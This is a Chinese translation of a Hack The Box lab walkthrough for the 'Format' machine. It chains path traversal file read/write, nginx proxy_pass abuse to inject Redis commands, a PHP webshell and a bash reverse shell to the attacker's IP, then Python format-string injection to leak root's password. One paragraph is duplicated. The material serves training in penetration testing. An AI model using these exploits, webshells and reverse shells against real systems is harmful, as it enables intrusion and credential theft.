玩转HTB靶场系列Format

admin 2023年11月21日16:03:16评论41 views字数 27288阅读90分57秒阅读模式

Format 托管着一个开源微博网站。我将构造参数实现对主机上文件进行任意读取和写入,并将其与 proxy_pass 错误一起使用来毒害 Redis,从而使我的帐户处于“提权”状态。我可以访问一个可写目录,将 webshell 放入系统上。为了提升权限,我将从 Redis 数据库中获取共享凭据。为了获得 root 权限,我将利用 Python 脚本中的模板注入信息。在 Beyond Root 中,我将研究两个非预期的解决方案来实现权限提升。

玩转HTB靶场系列Format

玩转HTB靶场系列Format

侦察(信息收集)

端口扫描:nmap找到三个开放的 TCP 端口:SSH (22) 和 HTTP (80)

oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.213Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-15 06:26 EDTNmap scan report for 10.10.11.213Host is up (0.086s latency).Not shown: 65532 closed portsPORT     STATE SERVICE22/tcp   open  ssh80/tcp   open  http3000/tcp open  ppp
Nmap done: 1 IP address (1 host up) scanned in 6.93 secondsoxdf@hacky$ nmap -p 22,80,3000 -sCV 10.10.11.213Starting Nmap 7.80 ( https://nmap.org ) at 2023-05-15 06:26 EDTNmap scan report for 10.10.11.213Host is up (0.087s latency).
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)80/tcp open http nginx 1.18.0|_http-server-header: nginx/1.18.0|_http-title: Site doesn't have a title (text/html).3000/tcp open http nginx 1.18.0|_http-server-header: nginx/1.18.0|_http-title: Did not follow redirect to http://microblog.htb:3000/Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 15.19 seconds

根据OpenSSH版本,主机可能运行 Debian 。访问端口 3000 上重定向到microblog.htb.

子域暴力破解

鉴于使用了 DNS 名称,我使用ffuf工具子域名进行爆破。爆破 3000 端口没有获取到任何有用信息:

oxdf@hacky$ ffuf -u http://10.10.11.213:3000 -H "Host: FUZZ.microblog.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -ac
/'___ /'___ /'___ / __/ / __/ __ __ / __/ ,__\ ,__/ / ,__ _/ _/ _ _/ _ _ ____/ _ /_/ /_/ /___/ /_/
v2.0.0-dev________________________________________________ :: Method : GET :: URL : http://10.10.11.213:3000 :: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.microblog.htb :: Follow redirects : false :: Calibration : true :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500________________________________________________
:: Progress: [4989/4989] :: Job [1/1] :: 459 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

爆破端口 80 发现两个不同的子域:

oxdf@hacky$ ffuf -u http://10.10.11.213 -H "Host: FUZZ.microblog.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -ac               
/'___ /'___ /'___ / __/ / __/ __ __ / __/ ,__\ ,__/ / ,__ _/ _/ _ _/ _ _ ____/ _ /_/ /_/ /___/ /_/
v2.0.0-dev________________________________________________
:: Method : GET :: URL : http://10.10.11.213 :: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.microblog.htb :: Follow redirects : false :: Calibration : true :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500________________________________________________
app [Status: 200, Size: 3976, Words: 899, Lines: 84, Duration: 94ms]sunny [Status: 200, Size: 3732, Words: 630, Lines: 43, Duration: 92ms]:: Progress: [4989/4989] :: Job [1/1] :: 456 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

我会将ip和两个子域添加到我的/etc/hosts文件中:

10.10.11.213 microblog.htb app.microblog.htb sunny.microblog.htb


访问http://10.10.11.213返回重定向到app.microblog.htb,在 80端口上,访问http://microblog.htb返回默认的 nginx 404 未找到页面,app.microblog.htb看起来像微博服务的首页:

玩转HTB靶场系列Format

首页有注册和登录的链接,以及指向 的“获取博客”按钮/dashboard,但仅重定向到登录表单。还有一个“在这里贡献!” 指向端口 3000 上的服务的链接,http://microblog.htb:3000/cooper/microblog.

看起来该网站正在提供子域名(就像 Gitlab 给我的那样0xdf.gitlab.io)。访问sunny.microblog.htb节目就是一个例子,一个关于电视节目《费城总是阳光明媚》的博客:

玩转HTB靶场系列Format

我能够注册该网站,这会导致/dashboard:

玩转HTB靶场系列Format

底部信息有一个关于“转到专业版以每月 5 美元上传图像”的参考,但该链接不起作用。

页面上唯一真正的交互是创建子域的能力。它只接受小写字母:

玩转HTB靶场系列Format

该过滤器是在客户端实现的,因为没有发送请求。如果我创建oxdf.microblog.htb,它会显示在我的仪表板中:

玩转HTB靶场系列Format

如果我尝试注册sunny.microblog.htb,它会在页面顶部返回错误:

玩转HTB靶场系列Format

仪表板上的“编辑站点”链接会指向一个粗略的编辑器,我可以在其中添加h1标签和txt部分:

玩转HTB靶场系列Format

访问该页面显示的格式与该sunny页面类似:

玩转HTB靶场系列Format

HTTP 标头并没有泄露除运行nginx 之外的其他信息:

HTTP/1.1 200 OKServer: nginx/1.18.0Date: Mon, 15 May 2023 10:43:51 GMTContent-Type: text/html; charset=UTF-8Connection: closeExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheContent-Length: 3976

但是我可以猜测每个目录中的索引页面/加载为index.php,而index.html返回 404,因此该网站是基于 PHP 构建的。

目录暴力破解

我将feroxbuster针对该网站运行,并包含在内,-x php因为我知道该网站是 PHP:

oxdf@hacky$ feroxbuster -u http://app.microblog.htb -x php
___ ___ __ __ __ __ __ ___|__ |__ |__) |__) | / ` / _/ | | |__| |___ | | | __, __/ / | |__/ |___by Ben "epi" Risher 🤓 ver: 2.9.3───────────────────────────┬────────────────────── 🎯 Target Url │ http://app.microblog.htb 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.9.3 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™──────────────────────────────────────────────────404 GET 7l 11w 153c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter404 GET 1l 3w 16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter301 GET 7l 11w 169c http://app.microblog.htb/logout => http://app.microblog.htb/logout/301 GET 7l 11w 169c http://app.microblog.htb/register => http://app.microblog.htb/register/301 GET 7l 11w 169c http://app.microblog.htb/login => http://app.microblog.htb/login/200 GET 154l 843w 168397c http://app.microblog.htb/brain.ico200 GET 83l 306w 3976c http://app.microblog.htb/index.php200 GET 1308l 8063w 731222c http://app.microblog.htb/brain.png200 GET 83l 306w 3976c http://app.microblog.htb/302 GET 0l 0w 0c http://app.microblog.htb/logout/index.php => http://app.microblog.htb/200 GET 60l 218w 3029c http://app.microblog.htb/register/index.php301 GET 7l 11w 169c http://app.microblog.htb/dashboard => http://app.microblog.htb/dashboard/200 GET 59l 167w 2475c http://app.microblog.htb/login/index.php302 GET 0l 0w 0c http://app.microblog.htb/dashboard/index.php => http://app.microblog.htb/login[####################] - 1m 150024/150024 0s found:12 errors:0[####################] - 1m 30000/30000 278/s http://app.microblog.htb/ [####################] - 1m 30000/30000 279/s http://app.microblog.htb/register/ [####################] - 1m 30000/30000 279/s http://app.microblog.htb/logout/ [####################] - 1m 30000/30000 279/s http://app.microblog.htb/login/ [####################] - 1m 30000/30000 279/s http://app.microblog.htb/dashboard/

枚举结果差强人意。


microblog.htb - TCP 3000

端口 3000 托管Gitea的一个实例,这是一个开源 Git 托管应用程序:

玩转HTB靶场系列Format

在“探索”下,我会找到一个存储库(与主页上链接的存储库相同):

玩转HTB靶场系列Format

该存储库具有该网站的来源:

玩转HTB靶场系列Format

该html文件夹有一个index.html页面,仅包含重定向到app.microblog.htb. microbucket具有站点使用的静态 CSS 和 JavaScript 文件。

pro-files有一个文件,bulletproof.php. 它定义了一个Image带有一堆函数的类。它有一个可接受的 mime 类型和扩展名的列表。它还强制基于 mime 类型的扩展,以防止.php上传。

microblog-template具有三个文件夹 和index.php:

玩转HTB靶场系列Format

index.php似乎是博客文章的页面。它在多个地方使用 Redis 缓存数据库。例如,有一个checkOwner函数:

function checkOwner() {    if(checkAuth()) {        $redis = new Redis();        $redis->connect('/var/run/redis/redis.sock');        $subdomain = array_shift((explode('.', $_SERVER['HTTP_HOST'])));        $userSites = $redis->LRANGE($_SESSION['username'] . ":sites", 0, -1);        if(in_array($subdomain, $userSites)) {            return $_SESSION['username'];        }    }    return "";}

该站点似乎在文件 中存储了文件名列表,/content/order.txt该文件由名为 的函数加载fetchPage(),然后循环读取文件构建$html_content:

function fetchPage() {    chdir(getcwd() . "/content");    $order = file("order.txt", FILE_IGNORE_NEW_LINES);    $html_content = "";    foreach($order as $line) {        $temp = $html_content;        $html_content = $temp . "<div class = "{$line}">" . file_get_contents($line) . "</div>";    }    return $html_content;}

然后将其设置为页面中的 JavaScript,将其分解并将其放入页面中:

$(window).on('load', function(){        const html = <?php echo json_encode(fetchPage()); ?>.replace(/(rn|n|r)/gm, "");        $(".push-for-h1").after(html);        if(html.length === 0) {            $(".your-blog").after("<div class = "empty-blog">Blog in progress... check back soon!</div>");            $(".push-for-h1").css("display", "none");        }

存储库中有一个content目录,它有一个空的order.txt. edit有一个index.php可以管理编辑页面并将更改保存到order.txt随机命名的文件中。

尽管该网站没有提供任何升级到 Pro 的方法,但 PHP 中对此进行了检查:

function provisionProUser() {    if(isPro() === "true") {        $blogName = trim(urldecode(getBlogName()));        system("chmod +w /var/www/microblog/" . $blogName);        system("chmod +w /var/www/microblog/" . $blogName . "/edit");        system("cp /var/www/pro-files/bulletproof.php /var/www/microblog/" . $blogName . "/edit/");        system("mkdir /var/www/microblog/" . $blogName . "/uploads && chmod 700 /var/www/microblog/" . $blogName . "/uploads");        system("chmod -w /var/www/microblog/" . $blogName . "/edit && chmod -w /var/www/microblog/" . $blogName);    }    return;}

它创建一个uploads/目录,大概是为了存储图像。还有一个isPro函数可以检查 Redis 的用户状态:

function isPro() {    if(isset($_SESSION['username'])) {        $redis = new Redis();        $redis->connect('/var/run/redis/redis.sock');        $pro = $redis->HGET($_SESSION['username'], "pro");        return strval($pro);    }    return "false";}

该microblog文件夹有两个目录:

玩转HTB靶场系列Format

sunny是示例博客,其结构与模板相同。该content文件夹order.txt包含一些随机命名的文件:

玩转HTB靶场系列Format

每个随机命名的文件都包含一小段 HTML。例如,2766wxkoacy有:

<div class = "blog-h1 blue-fill"><b>It's Always Sunny in Philadelphia</b></div>

order.txt包含文件列表:

2766wxkoacy

jtdpx1iea5

rle1v1hnms

syubx3wiu3e

该app文件夹包含我可以注册/登录的页面的源代码。除了用户如何在 Redis 中生成/存储之外,我不需要查找太多内容。例如,在第 26 行/register/index.php:

$redis = new Redis();    $redis->connect('/var/run/redis/redis.sock');    $username = $redis->HGET(trim($_POST['username']), "username");    if(strlen(strval($username)) > 0) {        header("Location: /register?message=User already exists&status=fail");    }    else {        $redis->HSET(trim($_POST['username']), "username", trim($_POST['username']));        $redis->HSET(trim($_POST['username']), "password", trim($_POST['password']));        $redis->HSET(trim($_POST['username']), "first-name", trim($_POST['first-name']));        $redis->HSET(trim($_POST['username']), "last-name", trim($_POST['last-name']));        $redis->HSET(trim($_POST['username']), "pro", "false"); //not ready yet, license keys coming soon        $_SESSION['username'] = trim($_POST['username']);        header("Location: /dashboard?message=Registration successful!&status=success");    }

它正在连接到unix:/var/run/redis/redis.sock. 它使用HGET和HSET与用户名键进行交互,并设置username、password、first-name、last-name和 的值pro。

外壳作为 www-data

我在上面指出,内容存储在以随机字符命名的文件中。事实证明它们是由页面中的客户端 JS 生成的/edit:

$(".form-id").attr("value", Math.random().toString(36).slice(2));

因此,创建或编辑微博的 POST 请求如下所示:

POST /edit/index.php HTTP/1.1Host: oxdf.microblog.htbUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 23Origin: http://oxdf.microblog.htbConnection: closeReferer: http://oxdf.microblog.htb/edit/?message=Section%20added!&status=successCookie: username=rbb8bp6umb0logs0i3sqlcp5kcUpgrade-Insecure-Requests: 1
id=u62ieddrsu&txt=test+text

这意味着用户控制id进入此 PHP 的第 80 行/edit/index.php:

//add textif (isset($_POST['txt']) && isset($_POST['id'])) {    chdir(getcwd() . "/../content");    $txt_nl = nl2br($_POST['txt']);    $html = "<div class = "blog-text">{$txt_nl}</div>";    $post_file = fopen("{$_POST['id']}", "w");    fwrite($post_file, $html);    fclose($post_file);    $order_file = fopen("order.txt", "a");    fwrite($order_file, $_POST['id'] . "n");      fclose($order_file);    header("Location: /edit?message=Section added!&status=success");}

由于 ID 上没有任何清理,因此可以以当前用户的身份进行任意写入或读取。如果目标是当前用户可以写入的文件,那么它将把给定的文本写入该文件。但即使无法写入文本,该文件仍会添加到 中order.txt,这意味着它将被读取并显示在微博页面上。

我将尝试/etc/passwd通过设置id参数来指向它来阅读:

玩转HTB靶场系列Format

无法写入“test”,/etc/passwd因为我的用户无权访问,但随后 的遍历有效负载passwd被写入order.txt,然后内容被加载到页面中。它现在也显示在网站上。

玩转HTB靶场系列Format

读取文件脚本

鉴于读取文件的多个步骤,我将编写此脚本。另外,因为盒子会定期清理帐户,所以我每次都会注册一个新帐户:

#!/usr/bin/env python3
import randomimport reimport requestsimport stringimport sys
import warningswarnings.filterwarnings("ignore", category=DeprecationWarning)

file = sys.argv[1] if len(sys.argv) > 1 else "/etc/passwd"
token = ''.join(random.choice(string.ascii_lowercase) for _ in range(20))base_url = "http://app.microblog.htb"
sess = requests.session()sess.proxies.update({"http": "http://127.0.0.1:8080"})
# register for sitebody = {"first-name": token, "last-name": token, "username": token, "password": token}resp = sess.post("http://app.microblog.htb/register/", data=body)
# create blogresp = sess.post("http://app.microblog.htb/dashboard/", data={"new-blog-name": token})
# file readresp = sess.post(f"http://microblog.htb/edit/", data={"id": f"../../../../../../{file}", "txt":"0xdf"}, headers={"Host": f"{token}.microblog.htb"}, allow_redirects=False)data = re.search(r'const html = "<div class = \".+?\">(.*?)<\/', resp.text, re.DOTALL).group(1)print(bytes(data, 'utf-8').decode('unicode_escape'))

结果允许我请求文件:

oxdf@hacky$ python file_read.py /etc/passwdroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...[snip]...cooper:x:1000:1000::/home/cooper:/bin/bashredis:x:103:33::/var/lib/redis:/usr/sbin/nologingit:x:104:111:Git Version Control,,,:/home/git:/bin/bashmessagebus:x:105:112::/nonexistent:/usr/sbin/nologinsshd:x:106:65534::/run/sshd:/usr/sbin/nologin_laurel:x:997:997::/var/log/laurel:/bin/falseoxdf@hacky$ python file_read.py /proc/self/cmdlinephp-fpm: pool www

文件写入POC

我会发现大多数在当前 Web 目录中写入的尝试都会失败。有一个目录必须是可写的,那就是/content. 尝试访问/content微博网站返回403:

玩转HTB靶场系列Format

我知道该网站必须能够在此文件夹中写入文件。我会尝试写下这样的请求:

玩转HTB靶场系列Format

并访问/content/0xdf.txt下载文本文件。

我会尝试:

id=0xdf.php&txt=<?php+phpinfo();+?>

它似乎有效,但是访问时/content/0xdf.php,它只是下载文件,而不执行它。在 Burp 中,我将查看响应:

HTTP/1.1 200 OKServer: nginx/1.18.0Date: Mon, 15 May 2023 19:13:20 GMTContent-Type: application/octet-streamContent-Length: 58Last-Modified: Mon, 15 May 2023 19:13:04 GMTConnection: closeETag: "64628440-3a"Content-Disposition: attachment; filename=0xdf.phpAccept-Ranges: bytes
<div class = "blog-text"><?php echo "hello 0xdf"; ?></div>

它将作为文件返回,而不是作为 PHP 执行。这可能是由于 nginx 配置与此位置匹配,并且只是添加Content-Disposition标头将其设置为附件,而不是将其传递给 PHP 执行。

nginx 配置

为了更好地了解 nginx 的托管方式并查看是否遗漏了任何子域,我将查看配置文件(用于grep删除注释):

oxdf@hacky$ python file_read.py /etc/nginx/sites-enabled/default | grep -vP "^s*#"
server { listen 80 default_server; listen [::]:80 default_server; root /var/www/html;
index index.html index.htm index.nginx-debian.html;
server_name _;
location / { try_files $uri $uri/ =404; }}
server { listen 80; listen [::]:80;
root /var/www/microblog/app;
index index.html index.htm index-nginx-debian.html;
server_name microblog.htb;
location / { return 404; }
location = /static/css/health/ { resolver 127.0.0.1; proxy_pass http://css.microbucket.htb/health.txt; }
location = /static/js/health/ { resolver 127.0.0.1; proxy_pass http://js.microbucket.htb/health.txt; }
location ~ /static/(.*)/(.*) { resolver 127.0.0.1; proxy_pass http://$1.microbucket.htb/$2; }}

这不是完整的 nginx 配置。其他文件中一定有更多内容(例如从 下载/content)。我有理由猜到通往那些地方的路径,但我没有在这里。我将在Beyond Root中稍微了解一下这一点。

proxy_pass 错误

nginx 配置的最后一个块有一个漏洞。它将匹配表单的任何 URL /static/${1}/${2},并将其代理到http://${1}.microbucket.htb/${2}. 这模拟了不同站点可能设置不同云存储桶的场景。这篇博文有一个非常好的例子,说明了这种模式为何存在以及如何利用它。

这个想法是滥用它来连接到 unix 套接字。从上面的帖子来看,如果我传入:

GET /static/unix:%2fvar%2frun%2fredis%2fredis.sock:TEST/app.js HTTP/1.1Host: example.com

那么这将使得:

http://unix:/var/run/redis/redis.sock:TEST.microbucket.htb/app.js

最终会将此请求发送到套接字:

GET TEST.microbucket.htb/app.js HTTP/1.0Host: localhost

这篇文章继续展示如何编写密钥。我可以发送不是有效 HTTP 动词的请求(例如 GET 或 POST),但它仍然会被 nginx 处理和传递。如果我发送此 HTTP 请求:

MSET /static/unix:%2fvar%2frun%2fredis%2f/redis.sock:hacked%20%22true%22%20/anything.js HTTP 1.1Host: app.microbucket.htb

这将到达套接字:

MSET hacked "true" microbucket.htb/anything.js HTTP/1.0Host: localhost

这会将密钥设置hacked为 true(并且可能会导致命令的其余部分崩溃)。

MSET这是利用了允许在同一行中设置多个键的事实。帖子中有更多关于从中获取 RCE 的信息,但我无法在 Format 上实现这一点。

Redis写入POC

我上面提到的键是用 来设置的HSET,根据文档,它采用一个键,后跟字段和值对。这应该与上面类似,但不仅仅是键/值,我还将传递字段。

HSET /static/unix:%2fvar%2frun%2fredis%2fredis.sock:oxdf%20%22first-name%22%20%22modified%22%20/0xdf.js HTTP/1.1Host: microblog.htb
HSET oxdf "first-name" "modified" HTTP/1.0Host: localhost

我将发送此内容,但响应是崩溃:

玩转HTB靶场系列Format

但是,刷新后,我的名字被更改了!

玩转HTB靶场系列Format

我并不是真的想改变我的名字,而是为了获得专业身份。我会将字段更改为“pro”并将值更改为“true”,然后再次发送。刷新时,我的页面显示“Pro!”

玩转HTB靶场系列Format

有了专业版,我的网站退出现在有一个img选项:

玩转HTB靶场系列Format

如果我给它一个图像,它会加载:

玩转HTB靶场系列Format

该图像位于

http://oxdf.microblog.htb/uploads/6462959cc8f1b2.38277097_gneojkiqpmhfl.png.我在上面指出,客户端应用程序会强制.png对我上传的任何内容进行扩展。

写入/上传

我将使用写入漏洞将.php文件写入/uploads:

该图像位于

http://oxdf.microblog.htb/uploads/6462959cc8f1b2.38277097_gneojkiqpmhfl.png.我在上面指出,客户端应用程序会强制.png对我上传的任何内容进行扩展。

写入/上传

我将使用写入漏洞将.php文件写入/uploads:

POST /edit/index.php HTTP/1.1Host: oxdf.microblog.htbUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0Content-Type: application/x-www-form-urlencodedContent-Length: 49Origin: http://oxdf.microblog.htbCookie: username=rbb8bp6umb0logs0i3sqlcp5kcUpgrade-Insecure-Requests: 1
id=../uploads/0xdf.php&txt=<?php+echo+"0xdf!";+?>

现在有了 Pro 访问权限,我可以访问这个目录,与之前的目录不同,这次 PHP 执行:

玩转HTB靶场系列Format

我将重新发送写入请求,但这次编写一个简单的 PHP webshell:

POST /edit/index.php HTTP/1.1Host: oxdf.microblog.htbUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0Content-Type: application/x-www-form-urlencodedContent-Length: 61Origin: http://oxdf.microblog.htbCookie: username=rbb8bp6umb0logs0i3sqlcp5kcUpgrade-Insecure-Requests: 1
id=../uploads/0xdf.php&txt=<?php+system($_REQUEST['cmd']);+?>

现在我将添加?cmd=[command]到网址,它可以工作:

玩转HTB靶场系列Format

我将开始nc监听 443 并在 Firefox 中发送此bash 反向 shell:

http://oxdf.microblog.htb/uploads/0xdf.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.10.14.6/443 0>%261'
oxdf@hacky$ nc -lnvp 443Listening on 0.0.0.0 443Connection received on 10.10.11.213 41734bash: cannot set terminal process group (609): Inappropriate ioctl for devicebash: no job control in this shellwww-data@format:~/microblog/oxdf/uploads$

我将得到一个交互式的shell :

www-data@format:~/microblog/oxdf/uploads$ script /dev/null -c bashscript /dev/null -c bashScript started, output log file is '/dev/null'.www-data@format:~/microblog/oxdf/uploads$ ^Z[1]+  Stopped                 nc -lnvp 443oxdf@hacky$ stty raw -echo; fgnc -lnvp 443            resetreset: unknown terminal type unknownTerminal type? screenwww-data@format:~/microblog/oxdf/uploads$

枚举(信息收集)

box上有两个主目录,cooper并且git:

www-data@format:/home$ lscooper  git

www-data 可以输入cooper,并且user.txt在那里,但是 www-data 无法读取它。

我会检查一下 Redis 数据库。redis-cli位于盒子上,并-s允许它连接到套接字,无需其他身份验证:

www-data@format:~$ redis-cli -s /var/run/redis/redis.sock redis /var/run/redis/redis.sock>

keys *将显示所有键:

redis /var/run/redis/redis.sock> keys *1) "cooper.dooper:sites"2) "cooper.dooper"3) "oxdf"4) "PHPREDIS_SESSION:rbb8bp6umb0logs0i3sqlcp5kc"5) "oxdf:sites"

oxdf:sites和cooper.dooper:sites是该用户的站点列表。它是在源中使用 生成的LPUSH,将项目推送到列表中。LRANGE读取一个列表,获取开始和停止索引。文档显示,如果 stop 为 -1,它将读到最后,因此我可以阅读完整列表:

redis /var/run/redis/redis.sock> LRANGE oxdf:sites 0 -11) "oxdf"redis /var/run/redis/redis.sock> LRANGE cooper.dooper:sites 0 -11) "sunny"

HGETALL将转储哈希中的所有字段:

redis /var/run/redis/redis.sock> HGETALL oxdf 1) "username" 2) "oxdf" 3) "password" 4) "oxdf" 5) "first-name" 6) "modified" 7) "last-name" 8) "oxdf" 9) "pro"10) "true"11) "first-nameedit"12) "modified"13) ".microbucket.htb/0xdf.js"14) "HTTP/1.0"

它似乎将字段作为一个返回,然后是下一个字段的值。13 和 14 是我在上一步中注入的工件。

redis /var/run/redis/redis.sock> HGETALL cooper.dooper 1) "username" 2) "cooper.dooper" 3) "password" 4) "zooperdoopercooper" 5) "first-name" 6) "Cooper" 7) "last-name" 8) "Dooper" 9) "pro"10) "false"

4 是cooper.dooper 用户的密码。

该密码适用于盒子上的 Cooper 用户su:

www-data@format:~$ su - cooperPassword: cooper@format:~$

它也适用于 SSH:

oxdf@hacky$ sshpass -p 'zooperdoopercooper' ssh cooper@10.10.11.213...[snip]...cooper@format:~$

不管怎样,我可以声称user.txt:

cooper@format:~$ cat user.txt2546f1e9************************


权限提升以 root 身份进入 shell

枚举(信息收集)

Cooper 可以以 root 身份运行license:

cooper@format:~$ sudo -l[sudo] password for cooper: Matching Defaults entries for cooper on format:    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User cooper may run the following commands on format: (root) /usr/bin/license

sudo需要密码,但我有。

licence是一个Python脚本:

cooper@format:~$ file /usr/bin/license /usr/bin/license: Python script, ASCII text executable

该脚本在执行其他操作之前会明确检查它是否以 root 身份运行:

cooper@format:~$ license 
Microblog license key manager can only be run as root
cooper@format:~$ sudo licenseusage: license [-h] (-p username | -d username | -c license_key)license: error: one of the arguments -p/--provision -d/--deprovision -c/--check is required

它从一个类开始License:

class License():            def __init__(self):        chars = string.ascii_letters + string.digits + string.punctuation        self.license = ''.join(random.choice(chars) for i in range(40))        self.created = date.today()

这为每个对象提供了随机的 40 个字符。

检查是否以 root 身份运行,然后进行 argparsing 以生成上述参数。然后它从以下位置加载秘密的内容/root/license/secret:

r = redis.Redis(unix_socket_path='/var/run/redis/redis.sock')
secret = [line.strip() for line in open("/root/license/secret")][0]secret_encoded = secret.encode()salt = b'microblogsalt123'kdf = PBKDF2HMAC(algorithm=hashes.SHA256(),length=32,salt=salt,iterations=100000,backend=default_backend())encryption_key = base64.urlsafe_b64encode(kdf.derive(secret_encoded))

密钥派生函数 (kdf) 被初始化并用于从秘密和明文盐生成加密密钥。

然后,程序根据是否调用配置、取消配置(尚未实现)或检查进行拆分。

配置是唯一有趣的路径。首先让用户退出 Redis 并检查该用户是否已经拥有密钥(如果有则退出):

#provisionif(args.provision):    user_profile = r.hgetall(args.provision)    if not user_profile:        print("")        print("User does not exist. Please provide valid username.")        print("")        sys.exit()    existing_keys = open("/root/license/keys", "r")    all_keys = existing_keys.readlines()    for user_key in all_keys:        if(user_key.split(":")[0] == args.provision):            print("")            print("License key has already been provisioned for this user")            print("")            sys.exit()

然后它根据静态前缀、用户名、随机 40 个字符以及用户名字和姓氏的组合生成一个密钥:

prefix = "microblog"    username = r.hget(args.provision, "username").decode()    firstlast = r.hget(args.provision, "first-name").decode() + r.hget(args.provision, "last-name").decode()    license_key = (prefix + username + "{license.license}" + firstlast).format(license=l)

它将明文和加密密钥打印到控制台,并将密钥写入文件keys:

print("")    print("Plaintext license key:")    print("------------------------------------------------------")    print(license_key)    print("")    license_key_encoded = license_key.encode()    license_key_encrypted = f.encrypt(license_key_encoded)    print("Encrypted license key (distribute to customer):")    print("------------------------------------------------------")    print(license_key_encrypted.decode())    print("")    with open("/root/license/keys", "a") as license_keys_file:        license_keys_file.write(args.provision + ":" + license_key_encrypted.decode() + "n")

这里最棘手的部分是意识到我需要恢复隐藏的秘密。

对我有利的是我可以控制打印到屏幕上的其他变量。Stack Exchange 的这个答案很好地阐述了如何解决这个问题。这篇文章也有更详细的介绍。

因为我可以控制模板,所以我可以指定format.

我将使用对 Redis 的访问权限来创建一个用户,其中姓氏是类似 的注入{license.__init__.__globals__[secret]}。这将使格式字符串看起来像:

microblog{username}{license.license}{first-name}{license.__init__.__globals__[secret]}

当它被格式化时,它应该打印秘密。

在 Redis 中,我将从一个具有 root 权限的新用户开始:

redis /var/run/redis/redis.sock> hset rooted username rooted(integer) 1redis /var/run/redis/redis.sock> hset rooted first-name "password:"(integer) 1redis /var/run/redis/redis.sock> hset rooted last-name "{license.__init__.__globals__[secret]}"(integer) 1

我取了第一个名字password:,以便轻松地表明秘密从哪里开始。现在运行脚本会打印未加密的密钥:

cooper@format:~$ sudo license -p rooted
Plaintext license key:------------------------------------------------------microblogrooted/%QIQ#0?qCGURyI8}RZrdh>#l^L`P7XbP#n@*'a*password:unCR4ckaBL3Pa$$w0rd
Encrypted license key (distribute to customer):------------------------------------------------------gAAAAABkYqXC2Xp3JGFVI__uSfLXpBzX84cyRMkAtN5tYqc3CgN8qGmQ70FWSBwn4RVPgKRVgfh0UqkoXO007-QouG9IaUKUygOQAr5TXp2ItrC5eANNlSpeyC37bi9KRF4nRCW4YmebU2_nr0HC8w9gIVfFo2XyjHkYlACttPbHmlQ61mc-8dE5CP6-bUWLBnIcmHqMXF06

秘密是unCR4ckaBL3Pa$$w0rd。

该秘密通过以下方式作为 root 的密码su:

cooper@format:~$ su -Password: root@format:~#

和 SSH:

oxdf@hacky$ sshpass -p 'unCR4ckaBL3Pa$$w0rd' ssh root@10.10.11.213...[snip]...root@format:~#

我能够抓住root.txt:

root@format:~# cat root.txtaca96cee************************

背景

格式于 2023 年 5 月 23 日(首次发布 10 天后)进行了修补:

玩转HTB靶场系列Format

细节

在盒子的早期,我会发现我可以将任意文件写入站点的/content目录,但不能写入网络目录的其他任何位置。/content不允许执行 PHP 文件。如果我可以在其他地方编写,我可以编写一个 Webshell 并比计划更早地执行。

已修复的问题与新站点最初的配置方式有关:

function addSite($site_name) {    if(isset($_SESSION['username'])) {        //check if site already exists        $scan = glob('/var/www/microblog/*', GLOB_ONLYDIR);        $taken_sites = array();        foreach($scan as $site) {            array_push($taken_sites, substr($site, strrpos($site, '/') + 1));        }        if(in_array($site_name, $taken_sites)) {            header("Location: /dashboard?message=Sorry, that site has already been taken&status=fail");            exit;        }        $redis = new Redis();        $redis->connect('/var/run/redis/redis.sock');        $redis->LPUSH($_SESSION['username'] . ":sites", $site_name);        chdir(getcwd() . "/../../../");        system("chmod +w microblog");        chdir(getcwd() . "/microblog/");        if(!is_dir($site_name)) {            mkdir($site_name, 0700);        }        system("cp -r /var/www/microblog-template/* /var/www/microblog/" . $site_name);        if(is_dir($site_name)) {            chdir(getcwd() . "/" . $site_name);        }        system("chmod +w content");        chdir(getcwd() . "/../");        system("chmod 500 " . $site_name);        chdir(getcwd() . "/../");        system("chmod -w microblog");        header("Location: /dashboard?message=Site added successfully!&status=success");    }    else {        header("Location: /dashboard?message=Site not added, authentication failed&status=fail");    }

